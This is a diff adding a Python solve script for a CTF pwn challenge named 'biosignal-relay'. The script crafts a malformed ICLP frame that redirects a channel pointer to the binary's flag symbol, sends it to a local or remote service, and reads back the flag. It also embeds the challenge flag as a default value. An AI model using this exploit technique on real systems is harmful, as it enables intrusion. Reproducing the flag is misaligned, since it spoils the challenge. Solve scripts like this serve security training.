Init. Commit

qualifiers/biosignal-relay-pwn-hard/solve/solve.py

@@ -0,0 +1,60 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import socket
+import struct
+import subprocess
+import sys
+
+class Tube:
+    def __init__(self, sock=None, proc=None):
+        self.sock = sock
+        self.proc = proc
+    def recv(self, n=4096):
+        if self.sock:
+            return self.sock.recv(n)
+        return os.read(self.proc.stdout.fileno(), n)
+    def send(self, data):
+        if self.sock:
+            self.sock.sendall(data)
+        else:
+            os.write(self.proc.stdin.fileno(), data)
+    def sendline(self, data):
+        self.send(data + b"\n")
+    def recvuntil(self, marker):
+        out = b""
+        while marker not in out:
+            chunk = self.recv(1)
+            if not chunk:
+                raise EOFError(out)
+            out += chunk
+        return out
+
+def symbol_value(binary, name):
+    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
+    for line in out.splitlines():
+        fields = line.split()
+        if len(fields) >= 8 and fields[-1] == name:
+            return int(fields[1], 16)
+    raise RuntimeError(f"symbol not found: {name}")
+
+def connect(args):
+    if args.local:
+        env = os.environ.copy()
+        env["CTF_FLAG"] = args.flag
+        proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env)
+        return Tube(proc=proc)
+    return Tube(sock=socket.create_connection((args.host, args.port), timeout=5))
+
+def choose(io, value):
+    io.recvuntil(b">")
+    io.sendline(str(value).encode())
+
+def main():
+    p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args()
+    target=symbol_value(args.binary,"flag_channel")
+    ch=struct.pack("<IIQ",0x43484e31,0x42494f21,target)+b"motor-cortex\x00".ljust(32,b"\x00")
+    frame=b"ICLP"+bytes([0x43,0x4c])+struct.pack("<H",64)+b"\x00"*8+ch
+    io=connect(args); choose(io,1); io.recvuntil(b"file bytes:"); io.sendline(str(len(frame)).encode()); io.recvuntil(b"payload:"); io.send(frame)
+    choose(io,2); io.recvuntil(b"channel:"); io.sendline(b"0"); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode())
+if __name__=="__main__": sys.exit(main())